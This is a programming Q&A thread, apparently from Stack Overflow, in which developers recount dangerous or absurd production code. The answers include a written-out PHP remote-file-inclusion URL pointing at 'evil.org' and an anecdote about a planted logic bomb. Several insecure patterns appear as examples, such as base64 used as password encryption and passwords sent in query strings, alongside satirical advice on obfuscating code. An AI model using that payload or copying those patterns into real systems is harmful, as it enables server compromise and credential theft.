views:

12703

answers:

36

What is the most evil or dangerous code fragment you have ever seen in a production environment at a company? I've never encountered production code that I would consider to be deliberately malicious and evil, so I'm quite curious to see what others have found.

The most dangerous code I have ever seen was a stored procedure two linked-servers away from our core production database server. The stored procedure accepted any NVARCHAR(8000) parameter and executed the parameter on the target production server via an double-jump sp_executeSQL command. That is to say, the sp_executeSQL command executed another sp_executeSQL command in order to jump two linked servers. Oh, and the linked server account had sysadmin rights on the target production server.

+19  A: 

The Windows installer.

Charlie Martin
Wow, it's really funny AND it's original!
TM
I never upvote jokes, but you get +1 for creativity.
Robert S.
Why stop there? Using windows in production is the RWTF ;P
Kent Fredric
It's not so bad as long as you use the correct tools to build the package (WiX). The VS editor, and InstallShield, are evil, though
erikkallen
+2  A: 

Once after our client teams reported some weird problems, we noticed that two different versions of the application was pointing to the same database. (while deploying the new system to them, their database was upgraded, but everyone forgot to bring down their old system)

This was a miracle escape..

And since then, we have an automated build and deploy process, thankfully :-)

MOZILLA
+16  A: 

I don't know if I'd call the code "evil", but we had a developer who would create Object[] arrays instead of writing classes. Everywhere.

Willie Wheeler
I actually read a PHP book that said this was okay. Well, I read it up to that point, anyway.
Bill the Lizard
@Bill: It's not like I condone this practice but PHP being weakly typed, this is definitely more acceptable than it is, for example, in C#
DrJokepu
I don't get it... how could accomplish anything that way?
hhafez
@hhafez: PHP objects allow you to set any object member at will.
Bill Karwin
Maybe the guy was a PHP script kiddie forced to write C# code.
chakrit
+13  A: 

I have seen (and posted to thedailywtf) code that will give everyone to have administrator rights in significant part of an application on Tuesdays. I guess the original developer forgot to remove the code after local machine testing.

+2  A: 

Similar to what someone else mentioned above:

I worked in a place that had a pseudo-scripting language in the application. It fed into a massive method that had some 30 parameters and a giant Select Case statement.

It was time to add more parameters, but the guy on the team who had to do it realized that there were too many already.

His solution?

He added a single object parameter on the end, so he could pass in anything he wanted and then cast it.

I couldn't get out of that place fast enough.

Kyralessa
Sounds like Win32 lParam...
geofftnz
I wrote something like that in Flash for scripting a small operating system, which processes an array of command strings. The command strings all follow the same basic format "cmd_name:param1|param2|param3|etc.", so the strings were all processed by a single function with a switch statement for the command name with about 15 case labels. It was simple and easy to maintain, but the method itself had only a couple parameters, not thirty. Anyway, I would have ran too after seeing someone tack on an object after already having 30 parameters. That's insane.
Triynko
+22  A: 

Combination of all of the following Php 'Features' at once.

  1. Register Globals
  2. Variable Variables
  3. Inclusion of remote files and code via include("http:// ... ");
  4. Really Horrific Array/Variable names ( Literal example ):

    foreach( $variablesarry as $variablearry ){
      include( $$variablearry ); 
    }
    

    ( I literally spent an hour trying to work out how that worked before I realised they wern't the same variable )

  5. Include 50 files, which each include 50 files, and stuff is performed linearly/procedurally across all 50 files in conditional and unpredictable ways.

For those who don't know variable variables:

$x = "hello"; 
$$x = "world"; 
print $hello # "world" ;

Now consider $x contains a value from your URL ( register globals magic ), so nowhere in your code is it obvious what variable your working with becuase its all determined by the url.

Now consider what happens when the contents of that variable can be a url specified by the websites user. Yes, this may not make sense to you, but it creates a variable named that url, ie:

$http://google.com,

except it cant be directly accessed, you have to use it via the double $ technique above.

Additionally, when its possible for a user to specify a variable on the URL which indicates which file to include, there are nasty tricks like

http://foo.bar.com/baz.php?include=http://evil.org/evilcode.php

and if that variable turns up in include($include)

and 'evilcode.php' prints its code plaintext, and Php is inappropriately secured, php will just trundle off, download evilcode.php, and execute it as the user of the web-server.

The web-sever will give it all its permissions etc, permiting shell calls, downloading arbitrary binaries and running them, etc etc, until eventually you wonder why you have a box running out of disk space, and one dir has 8GB of pirated movies with italian dubbing, being shared on IRC via a bot.

I'm just thankful I discovered that atrocity before the script running the attack decided to do something really dangerous like harvest extremely confidential information from the more or less unsecured database :|

( I could entertain the dailywtf every day for 6 months with that codebase, I kid you not. Its just a shame I discovered the dailywtf after I escaped that code )

Kent Fredric
"I'm just thankful I discovered that atrocity before the script decided to harvest the database :|"How would you know? For all intensive porpoises, it may already have done that without anyone noticing...
Piskvor
It may have, but the database logs didn't indicate much that it did.
Kent Fredric
I just died a little inside.
jathanism
+286  A: 
Juliet
Omg, and all that on monday morning...
Gamecat
*crawls around on the floor, searching for jaw*
Andrew Kennan
Absolutely brilliant! :D
SHODAN
AAAAAAAAAAAAHHHHHHHHHH!!!!!!!
peSHIr
What are you complaining about? Obviously they know the meaning of the term "patterns" because they've used several patterns multiple times :P Seriously though, that StringBuilder usage is brilliant!
Cameron MacFarland
Oh, and there was some more memorable code: the programmers overrode WndProc with calls to update the database. This code was commented out when I found it thankfully. I wish I was making this up..
Juliet
I knew if we kept reopening this we'd get something good. BTW, I worked for a year on about 500KSLOC of *kernel* code, written in much the same way.
Charlie Martin
I've maintained ugly and wet (as opposed to DRY) code before but it's nothing compared to this story. Glad you quit the job, else I suppose we wouldn't be seeing you on SO :-)
chakrit
Actually this is a lecture about code obfuscation.
splattne
Wow! I'm saving this for further study.
DasBoot
And the depressing thing is that somewhere, some programmer that worked on that code, thinks they did a good job and is showing it off on his resume. "Unskilled and Unaware of it"
Sergio Acosta
Hahaha, this is a really great post! +1
Patrick Peters
hey you i writted this code adn i think its prety good if you think you cuold do better you shoud try
Beska
Okay, I simply had to vote this up. That was a truly awesome set of evil ideas in one nice little(?) bundle.
Beska
++ You win. That is far worse than I have ever seen.
Kevin
A very watered down version of some of the management history ended up on the DailyWTF today: http://thedailywtf.com/Articles/eTeller-Horror.aspx
Juliet
Who among us can resist upvoting?
David Berger
I'm disappointed that there aren't properties in lower case (looks like a global variable) that perform business logic inside and call other properties that make DB calls.
debugme
I'd bet even Joel would say "Ok, this one is distilled poo... let's just start from scratch"... but all in all, if it did not drive you to suicide, it must have had made you a stronger programmer. I can only hope your next gig did take proper advantage of your skills.
jpinto3912
Did this code have any comments in it?
Elliot
+1 for the Lovecraft reference :-)
ObiWanKenobi
+1 for writing this up - let it be a warning!
Justicle
Until now, never has a Stack Overflow post given me the urge to cry, vomit and off myself...
Jason Down
Isn't it true of the saying, you get what you paid for ?
JonH
I'm not sure if this makes me feel better or worse. +1 for the post, -1 for my faith in humanity.
Steve B.
+1 for your post Juliet! Just awesome! ;)
tommieb75
I.... huuu.... arg.... can.....t..... aaaow my brain... The pain ... the suffering.... I always knew there was a dark side of the code, I thought I was in it now... but .... I must humbly admit, what yesterday was a steaming pile of rotten spaghetti, today looks more like some clever art form !
Newtopian
Dude, go outside. Go for a walk and have a tea maybe.
My condolences. People writing such stuff should be sued out of software reality. Almost seems like a scheme to sap out the efficiency of decent programmers, some bloody revenge by the dark side.
flq
Ahh... So **this** is why office(read: programming) jobs are considered stressful!
Earlz
Clearly they wrote it in Perl (the world's first write-only language) and then used an automated conversion tool to turn it into C#.
Ben Voigt
This one seriously damaged my eyes and brain.
Shaharyar
The `StringBuilder` use, though a bit ugly, is not that horrible. This usage is probably a bit easier to debug, and the appends are still much more efficient than they would be without `StringBuilder`. It's still stupid, but the inneficiencies from avoiding StringBuilder are quadratic whereas this type of concatenation is still linear, albeit with higher than necessary constants.
Brian
Consider that a warning from God of where you will end up if you don't repent! :)
Loren Pechtel
This makes me want to weep. Just, wow... I will never complain about any bad code I see again...
bcat
I inherited code very similar to this on a much smaller scale (5000 lines or so). My heart goes out to you - I had the same DataArray/HashTable weakly-typed objects floating around everywhere. It was also inherited from a set of out-sourced Indian contractors. I wonder if this is common practice there, or if maybe the sets of programmers we worked with both learned from the same source? Glad to hear you've moved onto to better places!
Robert Hui
+6  A: 

I remember having to setup IIS 3 to run Perl CGI scripts (yes, that was a looong time ago). The official recommendation at that time was to put Perl.exe in cgi-bin. It worked, but it also gave everyone access to a pretty powerful scripting engine!

Brian Rasmussen
+6  A: 

My colleague likes to recall that ASP.NET application which used a public static database connection for all database work.

Yes, one connection for all requests. And no, there was no locking done either.

David Schmitt
I suppose the "twisted" logic is that there is no need for locking if there is only one connection!
Jim Birchall
I'm pretty sure I did this when I was 16 or so and learned ASP.NET in two days.
jleedev
+11  A: 

Really evil was this piece of brilliant delphi code:

type
  TMyClass = class
  private
    FField : Integer;
  public
    procedure DoSomething;
  end;

var
  myclass : TMyClass;


procedure TMyClass.DoSomething;
begin
  myclass.FField := xxx; // 
end;

It worked great if there was only one instance of a class. But unfortunately I had to use an other instance and that created lots of interesting bugs.

When I found this jewel, I can't remember if I fainted or screamed, probably both.

Gamecat
+1: What? You might need to explain what that does... that is, If you know.
Kent Fredric
it's a member function that, rather than changing the state of the object you call it on (like anyone sane would expect), it changes the state of a single global object. So if you call it on a different object it will not do what you expect.
user9876
+1, I had to read it several times before realising what was wrong with it -- that is why it is so evil!
Edmund
+55  A: 

In a system which took credit card payments we used to store the full credit card number along with name, expiration date etc.

Turns out this is illegal, which is ironic given the we were writing the program for the Justice Department at the time.

Cameron MacFarland
Does anybody know how amazon solves this problem? Or is it legal if you ask for the users permission?
Davy Landman
+1 for the ironic part.
Earlz
@Davy - Different countries have different rules.
Cameron MacFarland
@Davy - encryption. It's legal to store if it's encrypted and only accessible on need-to-know. There are lots of rules about strength, retention, DMZs etc, see here https://www.pcisecuritystandards.org/security_standards/pci_dss.shtml
Luke Schafer
Of course. Since when did the law apply to the government?
Loren Pechtel
+59  A: 

I've seen a password encryption function like this

function EncryptPassword($password)
{
    return base64_encode($password);
}
LOL - that's like handing out payslips, bank statements etc in transparent envelopes. :-)
Christian Hayter
+1, to haeldar and christian. lmao
Cam
+12  A: 

I don't know if this is "evil" so much as misguided (I recently posted it on The Old New Thing):

I knew one guy who loved to store information as delimited strings. He was familiar with the concept of arrays, as shown when he used arrays of delimited strings, but the light bulb never lit up.

+10  A: 

I remember seeing a login handler that took a post request, and redirected to a GET with the user name and password passed in as parameters. This was for an "enterprise class" medical system.

I noticed this while checking some logs - I was very tempted to send the CEO his password.

chris
+1 for your considered course of action. =P
Chris Cooper
I saw this a few months ago on the app I look after. Of course, the same app doesn't store passwords encrypted, either, which the business has found useful because they can tell customers their passwords when they forget them. Many of our clients are not computer savvy. App has since been upgraded to not do that, but passwords are still stored in the clear. That's a challenge for another day...
staticsan
+2  A: 

I think that it was a program which loaded a loop into the general purpose registers of a pdp-10 and then executed the code in those registers.

You could do that on a pdp-10. That doesn't mean that you should.

EDIT: at least this is to the best of my (sometimes quite shabby) recollection.

leed25d
+12  A: 

Base 36 encoding to store ints in strings.

I guess the theory goes somewhat along the lines of:

  • Hexadecimal is used to represent numbers
  • Hexadecimal doesnt use letters beyond F, meaning G-Z are wasted
  • Waste is bad

At this moment I am working with a database that is storing the days of the week that an event can happen on as a 7-bit bitfield (0-127), stored in the database as a 2-character string ranging from '0' to '3J'.

geofftnz
Well, technically, the representation of an int could be a base 256 string, and they would have the same actual value.
what if it's a null-terminated base-256 string?
geofftnz
Sounds like someone remembers the Remote Imaging Protocol from 20 years ago. Remember dial-up modems and BBS's? Well, ANSI ruled them for a long time. But ANSI is only text. So someone came up with a way of doing graphics: hence the Remote Imaging Protocol. One if it's quirks was that large integers were encoded in base 36. :-/
staticsan
Not so bad if you're overcoming a limitation of a communications channel, but in a database?
geofftnz
+3  A: 

Instead of writing a Windows service for a server process that needed to run constantly one of our "architects" wrote a console app and used the task scheduler to run it every 60 seconds.

Keep in mind this is in .NET where services are very easy to create.

--

Also, at the same place a console app was used to host a .NET remoting service, so they had to start the console app and lock a session to keep it running every time the server was rebooted.

--

At the last place I worked one of the architects had a single C# source code file with over 100 classes that was something like 250K in size.

Dana Holt
Writing a program and using the task scheduler to run it is the correct way to handle the issue of timing processes. Windows services are not to be abused as a way of scheduling your applications - that's the point of the windows service taskscheduler.
Andrew Weir
lol, there was no timing involed. The service needed to run all the time, but I guess he figured every 60 seconds was close enough.
Dana Holt
Ah I see. That makes sense now
Andrew Weir
Edited to make it more clear. :)
Dana Holt
+5  A: 

Any RFC 3514-compliant program which sets the evil bit.

Adam Rosenfield
+21  A: 

This was the error handling routine in a piece of commercial code:

/* FIXME! */
while (TRUE)
    ;

I was supposed to find out why "the app keeps locking up".

Dour High Arch
Looks like intentional sabotage to me!
Velika
Good thing there was a FIXME so the IDE could direct you to that line.
jleedev
@Chadworthington: If it was intentional the comment would have been /* DON'T FIXME! */ ;P
David
Isn't this kind of thing optimized out by compilers when building a commercial release?
kahoon
In this situation the compiler did not "optimize out" the loop; what would it "optimize" to? Also, "intentional sabotage" was a definite possibility. The "FIXME" could have been for deniability.
Dour High Arch
+10  A: 

I saw code in an ASP.NET MVC site from a guy who had only done web forms before (and is a renowned copy/paster!) that stuck a client side click event on an <a> tag that called a javascript method that did a document.location.

I tried to explain that a href on the <a> tag would do the same!!!

Pharabus
That's true, but there are also cases where this can be valuable. There are cases where progressive enhancement/graceful degradation are in play on the client side (e.g. the link would only change if JS is turned on)
dingle_thunk
People that design web pages *only* by dragging and dropping onto webforms are scum.
Earlz
+2  A: 

32 source code files with more then 10K lines of code each. Each contained one class. Each class contained one method that did "everything"

That was real nightmare for debuging that code before I had to refactor that.

Denys
+4  A: 

We had an application that loaded all of it's global state in an xml file. No problem with that, except that the developer had created a new form of recursion.

<settings>
  <property>
      <name>...</name>
      <value>...</value>
      <property>
          <name>...</name>
          <value>...</value>
          <property>
              <name>...</name>
              <value>...</value>
              <property>
                   <name>...</name>
                   <value>...</value>
                   <property>
                        <name>...</name>
                        <value>...</value>
                       <property>
                             <name>...</name>
                             <value>...</value>
                            <property>

Then comes the fun part. When the application loads, it runs through the list of properties and adds them to a global (flat) list, along with a mystery counter. The mystery counter is named something totally irrelevant and is used in mystery calculations:

List properties = new List();
Node<-root
while node.hasNode("property")
    add to properties list
    my_global_variable++;
    if hasNode("property")
         node=getNode("property"), ... etc etc

And then you get functions like

calculateSumOfCombinations(int x, int y){
   return x+y+my_global_variable;
}
Steve B.
+2  A: 

At an earlier workplace, we inherited a legacy project, which partially had been outsorced earlier. The main app was Java, the outsourced part was a native C library. Once I had a look at the C source files. I listed the contents of the directory. There were several source files over 200K in size. The biggest C file was 600 Kbytes.

Thank God I never had to actually touch them :-)

Péter Török
+1  A: 

Some guy wrote a batch program to generate random numbers based on die sides on my computer, thought i'd share it.

@echo off

set SIDES=6 

:start
set BUF=%random%
if %BUF% GTR %SIDES% (
goto start
)

echo %BUF%
pause

goto start

Does the job but guess how slow it is...

Justin
Wow... that's just, shocking.
Delan Azabani
A: 

Is there a book or blog out there dedicated to taking bad code, and showing how to do it better?

Nathan
http://www.refactormycode.com/
Jonathan Sterling
Http://thedailywtf.com ~ but only if you read the comments for "how to do it better", mostly just a wall of shame.
drachenstern
A: 

I've worked with similar things written by Indian devs. Giant main form, global vars etc. Luckily, my boss after a lot of hard work was able to decrease this mess greatly. But still, I hated work with this app. Unfortunately, it was math app and some of these indian guys was good at maths, so we had to fix app, not rewrite it.

For me, worst part was unbelievable slowness of Visual Studio + ReSharper on form with 20000 lines. If you turn ReSharper off, it is manageable, but you can't refactor this shit so fast then.

Vladekk
+9  A: 

Maybe not evil, but certainly rather, um... misguided.

I once had to rewrite a "natural language parser" that was implemented as a single 5,000 line if...then statement.

as in...

if (text == "hello" || text == "hi")
    response = "hello";
else if (text == "goodbye")
    response = "bye";
else
    ...
Jason Williams
A: 

Here's some evil code: http://code.google.com/p/google-caja/wiki/AttackVectors

Chirag Shah
+3  A: 

I was given a set of programs to advance while colleagues were abroad at a customer (installing said programs). One key library came up in every program, and trying to figure out the code, I realised that there were tiny differences from one program to the next. In a common library.

Realising this, I ran a text comparison of all copies. Out of 16, I think there were about 9 unique ones. I threw a bit of a fit.

The boss intervened and had the colleagues collate a version that was seemingly universal. They sent the code by e-mail. Unknown to me, there were strings with unprintable characters in there, and some mixed encodings. The e-mail garbled it pretty bad.

The unprintable characters were used to send out data (all strings!) from a server to a client. All strings were thus separated by a character, say 0x03, server-side, and re-assembled client-side in C# using the Split function with, you guessed it, not Convert.ToChar(0x03), but really whatever "prints" for 0x03, put between single quotes.

In this library (and all the related programs), not a single (I checked!) variable was local. Functions were designed to either recuperate the same variables once it was deemed safe to waste them, or to create new ones which would live on for all the duration of the process. I printed out several pages and colour coded them. Yellow meant "global, never changed by another function", Red meant "global, changed by several". Didn't see a point to green.

Oh, did I mention control version? Because of course there was none.

ADD ON: I just remembered a function I discovered, not long ago.

Its purpose was to go through an array of arrays of intergers, and set each first and last item to 0. It went like this (not actual code, from memory, and more C#-esque):

FixAllArrays()
{
    for (int idx = 0; idx < arrays.count- 1; idx++)
    {
        currArray = arrays[idx];
        nextArray = arrays[idx+1];
        SetFirstToZero(currArray);
        SetLastToZero(nextArray);

        //This is where the fun starts
        if (idx == 0)
        {
            SetLastToZero(currArray);
        }

        if (idx == arrays.count- 1)
        {
            SetFirstToZero(nextArray);
        }
    }
}

Of course, the point was that every sub-array had to get this done, both operations, on all items. I'm just not sure how a programmer can decide on something like this.

MPelletier
+14  A: 

In the main project header file, from an old-hand COBOL programmer, who was inexplicably writing a compiler in C:

int i, j, k;

"So you won't get a compiler error if you forget to declare your loop variables."

Mark Harrison
That is just horrible..
Lars Mæhlum
+7  A: 

This article How to Write Unmaintainable Code covers some of the most brilliant techniques known to man. Some of my favorite ones are:


New Uses For Names For Baby

Buy a copy of a baby naming book and you'll never be at a loss for variable names. Fred is a wonderful name, and easy to type. If you're looking for easy-to-type variable names, try adsf or aoeu if you type with a DSK keyboard.

Creative Miss-spelling

If you must use descriptive variable and function names, misspell them. By misspelling in some function and variable names, and spelling it correctly in others (such as SetPintleOpening SetPintalClosing) we effectively negate the use of grep or IDE search techniques. It works amazingly well. Add an international flavor by spelling tory or tori in different theatres/theaters.

Be Abstract

In naming functions and variables, make heavy use of abstract words like it, everything, data, handle, stuff, do, routine, perform and the digits e.g. routineX48, PerformDataFunction, DoIt, HandleStuff and do_args_method.

CapiTaliSaTion

Randomly capitalize the first letter of a syllable in the middle of a word. For example ComputeRasterHistoGram().

Lower Case l Looks a Lot Like the Digit 1

Use lower case l to indicate long constants. e.g. 10l is more likely to be mistaken for 101 that 10L is. Ban any fonts that clearly disambiguate uvw wW gq9 2z 5s il17|!j oO08 `'" ;,. m nn rn {[()]}. Be creative.

Recycle Your Variables

Wherever scope rules permit, reuse existing unrelated variable names. Similarly, use the same temporary variable for two unrelated purposes (purporting to save stack slots). For a fiendish variant, morph the variable, for example, assign a value to a variable at the top of a very long method, and then somewhere in the middle, change the meaning of the variable in a subtle way, such as converting it from a 0-based coordinate to a 1-based coordinate. Be certain not to document this change in meaning.

Cd wrttn wtht vwls s mch trsr

When using abbreviations inside variable or method names, break the boredom with several variants for the same word, and even spell it out longhand once in while. This helps defeat those lazy bums who use text search to understand only some aspect of your program. Consider variant spellings as a variant on the ploy, e.g. mixing International colour, with American color and dude-speak kulerz. If you spell out names in full, there is only one possible way to spell each name. These are too easy for the maintenance programmer to remember. Because there are so many different ways to abbreviate a word, with abbreviations, you can have several different variables that all have the same apparent purpose. As an added bonus, the maintenance programmer might not even notice they are separate variables.

Obscure film references

Use constant names like LancelotsFavouriteColour instead of blue and assign it hex value of $0204FB. The color looks identical to pure blue on the screen, and a maintenance programmer would have to work out 0204FB (or use some graphic tool) to know what it looks like. Only someone intimately familiar with Monty Python and the Holy Grail would know that Lancelot's favorite color was blue. If a maintenance programmer can't quote entire Monty Python movies from memory, he or she has no business being a programmer.

Document the obvious

Pepper the code with comments like /* add 1 to i */ however, never document wooly stuff like the overall purpose of the package or method.

Document How Not Why

Document only the details of what a program does, not what it is attempting to accomplish. That way, if there is a bug, the fixer will have no clue what the code should be doing.

Side Effects

In C, functions are supposed to be idempotent, (without side effects). I hope that hint is sufficient.

Use Octal

Smuggle octal literals into a list of decimal numbers like this:

array = new int []
{ 
111, 
120, 
013, 
121, 
};

Extended ASCII

Extended ASCII characters are perfectly valid as variable names, including ß, Ð, and ñ characters. They are almost impossible to type without copying/pasting in a simple text editor.

Names From Other Languages

Use foreign language dictionaries as a source for variable names. For example, use the German punkt for point. Maintenance coders, without your firm grasp of German, will enjoy the multicultural experience of deciphering the meaning.

Names From Mathematics

Choose variable names that masquerade as mathematical operators, e.g.:

openParen = (slash + asterix) / equals;

Code That Masquerades As Comments and Vice Versa

Include sections of code that is commented out but at first glance does not appear to be.

for(j=0; j<array_len; j+ =8)
{ 
total += array[j+0 ]; 
total += array[j+1 ]; 
total += array[j+2 ]; /* Main body of 
total += array[j+3];   * loop is unrolled 
total += array[j+4];   * for greater speed. 
total += array[j+5];   */ 
total += array[j+6 ]; 
total += array[j+7 ]; 
}

Without the colour coding would you notice that three lines of code are commented out?

Arbitrary Names That Masquerade as Keywords

When documenting, and you need an arbitrary name to represent a filename use "file ". Never use an obviously arbitrary name like "Charlie.dat" or "Frodo.txt". In general, in your examples, use arbitrary names that sound as much like reserved keywords as possible. For example, good names for parameters or variables would be"bank", "blank", "class", "const ", "constant", "input", "key", "keyword", "kind", "output", "parameter" "parm", "system", "type", "value", "var" and "variable ". If you use actual reserved words for your arbitrary names, which would be rejected by your command processor or compiler, so much the better. If you do this well, the users will be hopelessly confused between reserved keywords and arbitrary names in your example, but you can look innocent, claiming you did it to help them associate the appropriate purpose with each variable.

Code Names Must Not Match Screen Names

Choose your variable names to have absolutely no relation to the labels used when such variables are displayed on the screen. E.g. on the screen label the field "Postal Code" but in the code call the associated variable "zip".

Choosing The Best Overload Operator

In C++, overload +,-,*,/ to do things totally unrelated to addition, subtraction etc. After all, if the Stroustroup can use the shift operator to do I/O, why should you not be equally creative? If you overload +, make sure you do it in a way that i = i + 5; has a totally different meaning from i += 5; Here is an example of elevating overloading operator obfuscation to a high art. Overload the '!' operator for a class, but have the overload have nothing to do with inverting or negating. Make it return an integer. Then, in order to get a logical value for it, you must use '! !'. However, this inverts the logic, so [drum roll] you must use '! ! !'. Don't confuse the ! operator, which returns a boolean 0 or 1, with the ~ bitwise logical negation operator.

Exceptions

I am going to let you in on a little-known coding secret. Exceptions are a pain in the behind. Properly-written code never fails, so exceptions are actually unnecessary. Don't waste time on them. Subclassing exceptions is for incompetents who know their code will fail. You can greatly simplify your program by having only a single try/catch in the entire application (in main) that calls System.exit(). Just stick a perfectly standard set of throws on every method header whether they could actually throw any exceptions or not.

Magic Matrix Locations

Use special values in certain matrix locations as flags. A good choice is the [3][0] element in a transformation matrix used with a homogeneous coordinate system.

Magic Array Slots revisited

If you need several variables of a given type, just define an array of them, then access them by number. Pick a numbering convention that only you know and don't document it. And don't bother to define #define constants for the indexes. Everybody should just know that the global variable widget[15] is the cancel button. This is just an up-to-date variant on using absolute numerical addresses in assembler code.

Never Beautify

Never use an automated source code tidier (beautifier) to keep your code aligned. Lobby to have them banned them from your company on the grounds they create false deltas in PVCS/CVS (version control tracking) or that every programmer should have his own indenting style held forever sacrosanct for any module he wrote. Insist that other programmers observe those idiosyncratic conventions in "his " modules. Banning beautifiers is quite easy, even though they save the millions of keystrokes doing manual alignment and days wasted misinterpreting poorly aligned code. Just insist that everyone use the same tidied format, not just for storing in the common repository, but also while they are editing. This starts an RWAR and the boss, to keep the peace, will ban automated tidying. Without automated tidying, you are now free to accidentally misalign the code to give the optical illusion that bodies of loops and ifs are longer or shorter than they really are, or that else clauses match a different if than they really do. e.g.

if(a)
  if(b) x=y;
else x=z;

Testing is for cowards

A brave coder will bypass that step. Too many programmers are afraid of their boss, afraid of losing their job, afraid of customer hate mail and afraid of being sued. This fear paralyzes action, and reduces productivity. Studies have shown that eliminating the test phase means that managers can set ship dates well in advance, an obvious aid in the planning process. With fear gone, innovation and experimentation can blossom. The role of the programmer is to produce code, and debugging can be done by a cooperative effort on the part of the help desk and the legacy maintenance group.

If we have full confidence in our coding ability, then testing will be unnecessary. If we look at this logically, then any fool can recognise that testing does not even attempt to solve a technical problem, rather, this is a problem of emotional confidence. A more efficient solution to this lack of confidence issue is to eliminate testing completely and send our programmers to self-esteem courses. After all, if we choose to do testing, then we have to test every program change, but we only need to send the programmers to one course on building self-esteem. The cost benefit is as amazing as it is obvious.

Reverse the Usual True False Convention

Reverse the usual definitions of true and false. Sounds very obvious but it works great. You can hide:

#define TRUE 0 
#define FALSE 1

somewhere deep in the code so that it is dredged up from the bowels of the program from some file that noone ever looks at anymore. Then force the program to do comparisons like:

if ( var == TRUE )
if ( var != FALSE )

someone is bound to "correct" the apparent redundancy, and use var elsewhere in the usual way:

if ( var )

Another technique is to make TRUE and FALSE have the same value, though most would consider that out and out cheating. Using values 1 and 2 or -1 and 0 is a more subtle way to trip people up and still look respectable. You can use this same technique in Java by defining a static constant called TRUE. Programmers might be more suspicious you are up to no good since there is a built-in literal true in Java.

Exploit Schizophrenia

Java is schizophrenic about array declarations. You can do them the old C, way String x[], (which uses mixed pre-postfix notation) or the new way String[] x, which uses pure prefix notation. If you want to really confuse people, mix the notationse.g.

byte[ ] rowvector, colvector , matrix[ ];

which is equivalent to:

byte[ ] rowvector; 
byte[ ] colvector; 
byte[ ][] matrix;
Anurag
octal literals are evil
svick
lol they are evil :) - my favorite is the opening quote in that essay - "Never ascribe to malice, that which can be explained by incompetence"
Anurag
A: 

From an Oracle package in our companies commission calc app (before I rebuilt it from scratch)

CREATE OR REPLACE PACKAGE BODY Const AS
    FUNCTION Basisprov_offen
        RETURN INT
    IS
        BEGIN
            RETURN 4;
        END;

    FUNCTION Basisprov_offen_s
        RETURN VARCHAR
    IS
        BEGIN
            RETURN Const.Basisprov_offen || '';
        END;


/* ... a lot more creepy stuff ... */

END Const;

And in a different package for the same app

...
INSERT INTO Texpkorr
    SELECT
        Stammnummer,
        Nummer,
        Artikelnummer,
        GREATEST ( 0, Texp.Kommanditbetrag - NVL ( 0, 0 )) Kommanditbetrag,
        GREATEST ( 0, Texp.Bareinlagebetrag - NVL ( 0, 0 )) Bareinlagebetrag,
        GREATEST ( 0, Texp.Provisionohneagio - NVL ( 0, 0)) Provisionohneagio,
        GREATEST ( 0, Texp.Provisionmitagio - NVL ( 0, 0 )) Provisionmitagio,
        GREATEST ( 0, Texp.Agionachlass - NVL ( 0, 0 )) Agionachlass,
        Exportart
   FROM Provaltbv, Texp
...
Filburt
+3  A: 

SQL queries right there in javascript in an ASP application. Can't get any dirtier...

Koen
A: 

A guy I used to work with wrote an MS Access app that linked into about 10 other access databases that handled payroll for a Fortune 500 company. At last check, there where about 70,000 employees there and it was still in use...

Very little error checking in the code, nasty to look at, worse to troubleshoot. We kept on maxing out the access databases so we had to clean them out every couple of months.

Yes, I know it's not a code segment. Just the 3 facts of MS Access, payroll and Fortune 500 constitutes it as evil. Very evil. I wish I was kidding.

asp316
+7  A: 

A little evil...someone I know wrote into the main internal company web app, a daily check to see if he has logged into the system in the past 10 days. If there's no record of him logged in, it disables the app for everyone in the company.

He wrote the piece once he heard rumors of layoffs, and if he was going down, the company would have to suffer.

The only reason I knew about it, is that he took a 2 week vacation & I called him when the site crapped out. He told me to log on with his username/password...and all was fine again.

Of course..months later we all got laid off.

Ed B
+2  A: 

I had the deep misfortune of being involved in finding a rather insane behavior in a semi-custom database high-availability solution.

The core bits were unremarkable. Red Hat Enterprise Linux, MySQL, DRBD, and the Linux-HA stuff. The configuration, however, was maintained by a completely custom puppet-like system (unsurprisingly, there are many other examples of insanity resulting from this system).

It turns out that the system was checking the install.log file that Kickstart leaves in the root directory for part of the information it needed to create the DRBD configuration. This in itself is evil, of course. You don't pull configuration from a log file whose format is not actually defined. It gets worse, though.

It didn't store this data anywhere else, and every time it ran, which was every 60 seconds, it consulted install.log.

I'll just let you guess what happened the first time somebody decided to delete this otherwise useless log file.

Nicholas Knight